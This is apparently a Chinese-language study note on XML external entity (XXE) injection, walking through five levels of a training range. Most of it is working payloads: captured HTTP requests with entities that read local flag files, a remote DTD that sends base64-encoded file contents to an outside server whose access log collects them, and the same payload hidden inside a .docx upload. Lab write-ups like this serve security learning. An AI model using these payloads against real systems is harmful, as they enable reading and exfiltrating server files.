XXE漏洞学习笔记
XXE漏洞
简介:
XXE就是XML外部实体注入。当允许引用外部实体时,通过构造恶意内容,就可能导致任意文件读取、系统命令执行、内网端口探测、攻击内网网站等危害。
第一关:
抓包修改包信息:
POST /index.php HTTP/1.1
Host: x.x.x.x:54353
Content-Length: 234
Accept: application/xml, text/xml, */*;q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0;Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198Safari/537.36
Content-Type: application/xml;charset=UTF-8
Origin: http://x.x.x.x:54353
Referer: http://x.x.x.x:54353/
Accept-Language: zh-CN,zh;q=0.9
Connection: close
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE a [
<!ENTITY b "test">
<!ENTITY c SYSTEM "file:////opt/flag/flag1">
<!ENTITY % dtd SYSTEM "http://11.11.11.11/1.dtd">
%dtd;%send;
]>
<root><user>&b;</user><pass>&c;</pass></root>
再次修改
POST /index.php HTTP/1.1
Host: x.x.x.x:54353
Content-Length: 155
Accept: application/xml, text/xml, */*;q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0;Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198Safari/537.36
Content-Type: application/xml;charset=UTF-8
Origin: http://x.x.x.x:54353
Referer: http://x.x.x.x:54353/
Accept-Language: zh-CN,zh;q=0.9
Connection: close
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE a [
<!ENTITY c SYSTEM "file:////opt/flag/flag1">
]>
<root><user>&c;</user><pass>123456</pass></root>
内部DTD语法:
<!DOCTYPEtest[
<!ELEMENT test “test”>
<!ELEMENT f SYSTEM “file:///路径”>
]>
<root><user>username</user><pass>123456
第二关:
抓包使用同样方法修改请求包:
无有效信息出现。
此处需要使用外部web服务器,同样使用靶场。
先构建一个dtd文件:
<!ENTITY % all "<!ENTITY % send SYSTEM 'http://10.0.32.165/index.html/?flag=%file;'>"> %all;
上传到nginx根目录下:
修改请求包信息:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/opt/flag/flag2">
<!ENTITY % remote SYSTEM "http://10.0.32.165/aa.dtd">
%remote;
%send;
]>
<root><user>admin</user><pass>123456</pass></root>
查看ngnix下的access.log,发现flag。
第三关:
跟第一关一样:
抓包修复请求包:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE a [
<!ENTITY c SYSTEM "file:////opt/flag/flag3">
]>
<root><user>&c;</user><pass>123456</pass></root>
第四关:
同样先抓包
继续使用之前的aa.dtd文件,上传至nginx的根目录下,
修改抓到的包内容:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note[
<!ENTITY % file SYSTEM "file:///opt/flag/flag4">
<!ENTITY % remote SYSTEM "http://10.0.105.3/aa.dtd">
%remote;
%send;
]>
<root><user>admin</user><pass>123456</pass></root>
同样查看access.log,发现flag。
第五关:
新建word文件,内容随意,保存后关闭。修改后缀.docx为zip或其他压缩后缀,解压后如下图:
修改xml文件,插入payload:
<!DOCTYPE note2[
<!ENTITY % file SYSTEM "file:///opt/flag/flag5">
<!ENTITY % remote SYSTEM "http://10.0.105.3/aa.dtd">
%remote;
%send;
]>
重新压缩并重新命名为docx文件,上传后查看log日志即可。